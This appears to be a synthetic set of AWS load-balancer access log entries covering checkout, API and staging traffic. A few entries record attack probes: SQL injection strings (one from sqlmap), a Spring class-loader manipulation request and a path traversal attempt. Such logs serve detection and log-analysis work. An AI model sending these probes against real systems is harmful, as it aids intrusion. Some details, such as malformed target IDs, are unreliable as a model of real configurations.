prod-web-alb 91.56.214.213:26341 10.0.236.231:443 0.039060 0.258190 0.014714 200 200 405 749 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddb8-643d3f47a2fd45898e9bb0a9" "prod-web-alb.example.com" "-" 0 2024-11-01T02:42:48.383438Z "forward" "-" "-" "10.0.236.231:443" "200" "-" "-" -https 2024-11-01T02:42:50.090615Z prod-api-alb 168.238.216.196:42604 10.0.3.253:443 0.095555 0.122160 0.085922 200 200 162 14350 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddba-4dfae5dd79004f3cba9f1a62" "prod-api-alb.example.com" "-" 8 2024-11-01T02:42:50.090615Z "forward" "-" "-" "10.0.3.253:443" "200" "-" "-" -https 2024-11-01T02:42:51.408678Z prod-api-alb 213.34.162.105:11879 10.0.117.38:443 0.072702 0.471781 0.057437 200 200 72 4272 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddbb-dc364a88c16b4591b6169785" "prod-api-alb.example.com" "-" 7 2024-11-01T02:42:51.408678Z "forward" "-" "-" "10.0.117.38:443" "200" "-" "-" -https 2024-11-01T02:42:52.265486Z prod-api-alb 193.27.228.131:45031 10.0.185.110:443 0.005202 0.180320 0.019369 500 500 878 6064 "POST /users?id=1 OR 1=1 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddbc-e0b176ded7784830befd7c87" "-" "-" 1 2024-11-01T02:42:52.265486Z "forward" "-" "-" "10.0.185.110:443" "500" "-" "-" -https 2024-11-01T02:42:53.448360Z prod-web-alb 218.148.120.54:60922 10.0.5.7:443 0.091818 0.499522 0.022026 302 302 454 9358 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddbd-e0f98fb2af864068bb2f529e" "prod-web-alb.example.com" "-" 2 2024-11-01T02:42:53.448360Z "forward" "-" "-" "10.0.5.7:443" "302" "-" "-" -https 2024-11-01T02:42:53.998109Z prod-api-alb 71.240.98.255:55779 10.0.164.99:443 0.078909 0.017248 0.094448 200 200 920 6743 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddbd-253caa1f8abc450ca013ac25" "prod-api-alb.example.com" "-" 10 2024-11-01T02:42:53.998109Z "forward" "-" "-" "10.0.164.99:443" "200" "-" "-" -https 2024-11-01T02:42:55.245385Z prod-api-alb 94.104.147.141:14278 10.0.122.142:443 0.022565 0.158160 0.067595 200 200 295 6523 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddbf-0933e6cc08014f3d8996d132" "prod-api-alb.example.com" "-" 10 2024-11-01T02:42:55.245385Z "forward" "-" "-" "10.0.122.142:443" "200" "-" "-" -https 2024-11-01T02:42:57.216404Z staging-alb 149.61.154.44:31787 7.175.121.71:8080 0.039604 0.659458 0.051910 200 200 459 11392 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddc1-c1476c82a4de46baafcdc847" "staging-alb.example.com" "-" 5 2024-11-01T02:42:57.216404Z "forward" "-" "-" "7.175.121.71:8080" "200" "-" "-" -https 2024-11-01T02:42:58.369751Z prod-web-alb 55.104.116.181:52878 10.0.140.47:443 0.045424 0.224458 0.033575 200 200 808 4436 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddc2-938e3b57f1434b299c393e76" "-" "-" 3 2024-11-01T02:42:58.369751Z "forward" "-" "-" "10.0.140.47:443" "200" "-" "-" -https 2024-11-01T02:42:59.184928Z prod-api-alb 203.38.229.53:48431 10.0.24.127:443 0.004623 0.000049 0.086159 200 200 934 7812 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddc3-0a886462eb21419bb42608e5" "prod-api-alb.example.com" "-" 0 2024-11-01T02:42:59.184928Z "forward" "-" "-" "10.0.24.127:443" "200" "-" "-" -https 2024-11-01T02:43:00.191782Z prod-api-alb 167.244.77.57:63172 10.0.136.195:443 0.090281 0.268990 0.085334 301 301 950 5829 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddc4-5e93e60ab28244089afca212" "prod-api-alb.example.com" "-" 3 2024-11-01T02:43:00.191782Z "forward" "-" "-" "10.0.136.195:443" "301" "-" "-" -https 2024-11-01T02:43:00.777230Z staging-alb 82.131.232.115:49314 237.152.145.39:80 0.133571 0.723121 0.071710 200 200 790 4865 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddc4-552f683157374943be9231af" "-" "-" 10 2024-11-01T02:43:00.777230Z "forward" "-" "-" "237.152.145.39:80" "200" "-" "-" -https 2024-11-01T02:43:01.795572Z staging-alb 43.115.153.125:15732 202.70.208.233:443 0.069619 0.446789 0.105964 200 200 117 4232 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddc5-c935b12886934a5b95bfafe4" "staging-alb.example.com" "-" 6 2024-11-01T02:43:01.795572Z "forward" "-" "-" "202.70.208.233:443" "200" "-" "-" -https 2024-11-01T02:43:02.228508Z prod-api-alb 4.250.223.162:29210 10.0.240.103:443 0.048480 0.101495 0.084442 301 301 681 12973 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddc6-b3f024268dab4d249d7c13cf" "prod-api-alb.example.com" "-" 2 2024-11-01T02:43:02.228508Z "forward" "-" "-" "10.0.240.103:443" "301" "-" "-" -https 2024-11-01T02:43:03.788711Z prod-api-alb 195.236.22.217:33804 10.0.172.222:443 0.053944 0.087242 0.069090 404 404 222 12536 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddc7-e553b632ab5343a2a7067c53" "prod-api-alb.example.com" "-" 0 2024-11-01T02:43:03.788711Z "forward" "-" "-" "10.0.172.222:443" "404" "-" "-" -http 2024-11-01T02:43:03.976461Z staging-alb 134.192.147.101:32920 165.146.164.160:443 0.086579 0.637662 0.128778 200 200 864 14387 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddc7-2105a032052e444f95c9d930" "staging-alb.example.com" "-" 1 2024-11-01T02:43:03.976461Z "forward" "-" "-" "165.146.164.160:443" "200" "-" "-" -https 2024-11-01T02:43:05.941399Z prod-api-alb 36.164.196.130:20887 10.0.254.104:443 0.005928 0.450482 0.089911 200 200 812 12179 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddc9-1afd01e8db6a497f99cd8d52" "prod-api-alb.example.com" "-" 6 2024-11-01T02:43:05.941399Z "forward" "-" "-" "10.0.254.104:443" "200" "-" "-" -https 2024-11-01T02:43:06.900814Z prod-api-alb 175.220.99.51:52487 10.0.160.41:443 0.088882 0.175200 0.086365 200 200 294 5710 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddca-6e20da3fe9384c04b13a2e41" "prod-api-alb.example.com" "-" 5 2024-11-01T02:43:06.900814Z "forward" "-" "-" "10.0.160.41:443" "200" "-" "-" -https 2024-11-01T02:43:08.483521Z prod-web-alb 186.250.104.166:55391 10.0.216.193:443 0.067858 0.264402 0.091756 404 404 531 2949 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddcc-20af76a0f1c1486cb77aba97" "prod-web-alb.example.com" "-" 3 2024-11-01T02:43:08.483521Z "forward" "-" "-" "10.0.216.193:443" "404" "-" "-" -https 2024-11-01T02:43:09.318979Z prod-api-alb 155.197.151.131:51136 10.0.224.155:443 0.041254 0.376438 0.080574 200 200 505 10230 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddcd-d2470f0c358f4743afe313a3" "prod-api-alb.example.com" "-" 2 2024-11-01T02:43:09.318979Z "forward" "-" "-" "10.0.224.155:443" "200" "-" "-" -https 2024-11-01T02:43:11.162657Z prod-api-alb 103.41.123.54:19682 10.0.220.117:443 0.073096 0.190411 0.004548 200 200 553 1176 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddcf-c294e9906928400a8a7fa1ed" "prod-api-alb.example.com" "-" 7 2024-11-01T02:43:11.162657Z "forward" "-" "-" "10.0.220.117:443" "200" "-" "-" -http 2024-11-01T02:43:12.086448Z staging-alb 168.206.136.243:27015 14.246.101.17:443 0.110176 0.560023 0.022883 200 200 601 451 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddd0-118e1eb717974cad8c745387" "staging-alb.example.com" "-" 6 2024-11-01T02:43:12.086448Z "forward" "-" "-" "14.246.101.17:443" "200" "-" "-" -https 2024-11-01T02:43:13.276538Z prod-web-alb 30.109.222.225:55269 10.0.96.217:443 0.058206 0.445093 0.051656 301 301 715 12346 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ddd1-d5f5785078c94f729dcf2ea4" "prod-web-alb.example.com" "-" 4 2024-11-01T02:43:13.276538Z "forward" "-" "-" "10.0.96.217:443" "301" "-" "-" -http 2024-11-01T02:43:13.436262Z staging-alb 91.29.172.33:11848 66.39.176.95:443 0.086304 0.535156 0.009953 200 200 140 10457 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddd1-f9d105d1eb434973b0f282d5" "staging-alb.example.com" "-" 6 2024-11-01T02:43:13.436262Z "forward" "-" "-" "66.39.176.95:443" "200" "-" "-" -http 2024-11-01T02:43:13.972668Z staging-alb 145.184.87.223:41965 201.81.221.154:443 0.082652 0.275785 0.024987 302 302 957 9135 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddd1-245c813b9f8745bab0a1e01c" "staging-alb.example.com" "-" 5 2024-11-01T02:43:13.972668Z "forward" "-" "-" "201.81.221.154:443" "302" "-" "-" -https 2024-11-01T02:43:15.173096Z staging-alb 222.133.106.204:63790 101.83.166.239:443 0.097403 0.049480 0.123104 200 200 165 8948 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddd3-72ea90bf3f524d14b3e991f2" "staging-alb.example.com" "-" 8 2024-11-01T02:43:15.173096Z "forward" "-" "-" "101.83.166.239:443" "200" "-" "-" -https 2024-11-01T02:43:16.678754Z prod-web-alb 193.27.228.186:58419 10.0.194.18:443 0.087564 0.391358 0.003279 403 403 244 6447 "GET /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddd4-ab6e785e5e9b49a1ac865a90" "-" "-" 0 2024-11-01T02:43:16.678754Z "forward" "-" "-" "10.0.194.18:443" "403" "-" "-" -https 2024-11-01T02:43:18.259857Z prod-api-alb 210.90.63.35:20800 10.0.152.61:443 0.040320 0.164978 0.059979 301 301 140 2303 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddd6-11128b9c83f04c709b3f13ee" "prod-api-alb.example.com" "-" 0 2024-11-01T02:43:18.259857Z "forward" "-" "-" "10.0.152.61:443" "301" "-" "-" -https 2024-11-01T02:43:18.893121Z staging-alb 112.120.151.240:16818 122.215.96.190:8080 0.070875 0.656334 0.074874 404 404 46 8604 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddd6-ed47010fff4b4d82adf11169" "staging-alb.example.com" "-" 1 2024-11-01T02:43:18.893121Z "forward" "-" "-" "122.215.96.190:8080" "404" "-" "-" -http 2024-11-01T02:43:20.004687Z staging-alb 47.232.7.138:27881 126.41.112.7:8080 0.126172 0.381643 0.013594 302 302 179 7341 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddd8-6a211a50428b4250bb63c132" "staging-alb.example.com" "-" 5 2024-11-01T02:43:20.004687Z "forward" "-" "-" "126.41.112.7:8080" "302" "-" "-" -https 2024-11-01T02:43:20.743704Z staging-alb 218.15.196.197:13884 80.184.115.138:8080 0.123013 0.220871 0.049580 200 200 412 5793 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddd8-5423b3e6cfea4af8b5ffc3f2" "staging-alb.example.com" "-" 8 2024-11-01T02:43:20.743704Z "forward" "-" "-" "80.184.115.138:8080" "200" "-" "-" -https 2024-11-01T02:43:21.954893Z prod-api-alb 214.35.92.97:17452 10.0.100.32:443 0.055386 0.128742 0.040290 200 200 602 8291 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddd9-1f1f713da707451eae76087e" "prod-api-alb.example.com" "-" 8 2024-11-01T02:43:21.954893Z "forward" "-" "-" "10.0.100.32:443" "200" "-" "-" -https 2024-11-01T02:43:23.662501Z prod-api-alb 35.65.34.218:64317 10.0.38.79:443 0.006853 0.278996 0.038814 200 200 495 4977 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dddb-37307bb71ce745e38115e4ca" "prod-api-alb.example.com" "-" 10 2024-11-01T02:43:23.662501Z "forward" "-" "-" "10.0.38.79:443" "200" "-" "-" -https 2024-11-01T02:43:24.913559Z prod-web-alb 10.195.181.149:60294 10.0.229.224:443 0.086160 0.396051 0.097923 200 200 234 2740 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dddc-48ba27bac6004bdd9f96f3bc" "prod-web-alb.example.com" "-" 1 2024-11-01T02:43:24.913559Z "forward" "-" "-" "10.0.229.224:443" "200" "-" "-" -https 2024-11-01T02:43:25.733740Z prod-web-alb 68.204.165.180:45902 10.0.241.240:443 0.007069 0.241685 0.077849 200 200 291 2500 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dddd-fc0a2dc23a6b4e488fea4d03" "prod-web-alb.example.com" "-" 7 2024-11-01T02:43:25.733740Z "forward" "-" "-" "10.0.241.240:443" "200" "-" "-" -https 2024-11-01T02:43:26.093541Z prod-web-alb 165.255.65.75:40441 10.0.13.224:443 0.039658 0.314168 0.047896 301 301 221 6057 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ddde-b2480db6bf7d4c739923d360" "prod-web-alb.example.com" "-" 4 2024-11-01T02:43:26.093541Z "forward" "-" "-" "10.0.13.224:443" "301" "-" "-" -https 2024-11-01T02:43:26.726060Z staging-alb 15.105.250.132:19396 133.120.18.241:80 0.076081 0.432206 0.015912 301 301 948 1607 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddde-08c28aac7c2a4f3fab63f23b" "staging-alb.example.com" "-" 7 2024-11-01T02:43:26.726060Z "forward" "-" "-" "133.120.18.241:80" "301" "-" "-" -https 2024-11-01T02:43:27.529080Z staging-alb 163.207.223.188:29763 205.72.225.138:8080 0.112388 0.434947 0.100973 200 200 963 13541 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dddf-1e435c6756314e6a9954cc4b" "staging-alb.example.com" "-" 6 2024-11-01T02:43:27.529080Z "forward" "-" "-" "205.72.225.138:8080" "200" "-" "-" -https 2024-11-01T02:43:29.431944Z staging-alb 172.57.194.141:11874 164.215.252.136:443 0.077595 0.518307 0.022651 301 301 134 1399 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dde1-2d3e441d360d427f85ae7c25" "staging-alb.example.com" "-" 0 2024-11-01T02:43:29.431944Z "forward" "-" "-" "164.215.252.136:443" "301" "-" "-" -https 2024-11-01T02:43:30.672778Z prod-web-alb 180.81.216.252:61920 10.0.98.41:443 0.091247 0.463331 0.046150 200 200 578 12559 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dde2-0fb624e061df4bdcb3da913d" "prod-web-alb.example.com" "-" 7 2024-11-01T02:43:30.672778Z "forward" "-" "-" "10.0.98.41:443" "200" "-" "-" -https 2024-11-01T02:43:32.275228Z prod-api-alb 45.13.20.226:41259 10.0.76.200:443 0.084376 0.329568 0.008342 200 200 900 11891 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dde4-cd375e960ed74f10a373d583" "prod-api-alb.example.com" "-" 5 2024-11-01T02:43:32.275228Z "forward" "-" "-" "10.0.76.200:443" "200" "-" "-" -https 2024-11-01T02:43:32.401177Z staging-alb 67.191.101.181:59255 191.133.218.8:80 0.051581 0.397960 0.024961 200 200 123 9309 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dde4-d74d87d4b9724f868bf9144f" "staging-alb.example.com" "-" 2 2024-11-01T02:43:32.401177Z "forward" "-" "-" "191.133.218.8:80" "200" "-" "-" -http 2024-11-01T02:43:33.514077Z staging-alb 193.27.228.122:46457 181.128.130.49:80 0.034569 0.424614 0.068928 404 404 992 4206 "GET /api/../../../config HTTP/1.1" "" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dde5-9bbd99559d4f4bcb95b1c327" "-" "-" 7 2024-11-01T02:43:33.514077Z "forward" "-" "-" "181.128.130.49:80" "404" "-" "-" -https 2024-11-01T02:43:34.710634Z prod-web-alb 101.73.252.118:38236 10.0.27.231:443 0.046941 0.406718 0.076608 200 200 555 8573 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dde6-bcabbb2866384c69af63589a" "prod-web-alb.example.com" "-" 2 2024-11-01T02:43:34.710634Z "forward" "-" "-" "10.0.27.231:443" "200" "-" "-" -https 2024-11-01T02:43:36.458623Z staging-alb 105.119.250.47:21505 87.157.19.86:443 0.085774 0.029275 0.069083 301 301 117 10038 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dde8-eba3946e44514f48a9b4d3f7" "staging-alb.example.com" "-" 2 2024-11-01T02:43:36.458623Z "forward" "-" "-" "87.157.19.86:443" "301" "-" "-" -http 2024-11-01T02:43:37.925442Z staging-alb 185.181.26.16:23217 244.29.164.121:443 0.082722 0.726665 0.011907 200 200 612 4015 "GET /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dde9-0018d46bc91943b29cb0ed7c" "-" "-" 3 2024-11-01T02:43:37.925442Z "forward" "-" "-" "244.29.164.121:443" "200" "-" "-" -http 2024-11-01T02:43:39.841288Z staging-alb 43.242.18.6:57679 6.108.23.228:443 0.137976 0.541390 0.113463 200 200 109 7946 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddeb-b1512e941658447392fc2ad3" "staging-alb.example.com" "-" 1 2024-11-01T02:43:39.841288Z "forward" "-" "-" "6.108.23.228:443" "200" "-" "-" -https 2024-11-01T02:43:41.673037Z prod-api-alb 171.114.109.191:46399 10.0.157.170:443 0.059212 0.449019 0.044531 302 302 830 11890 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 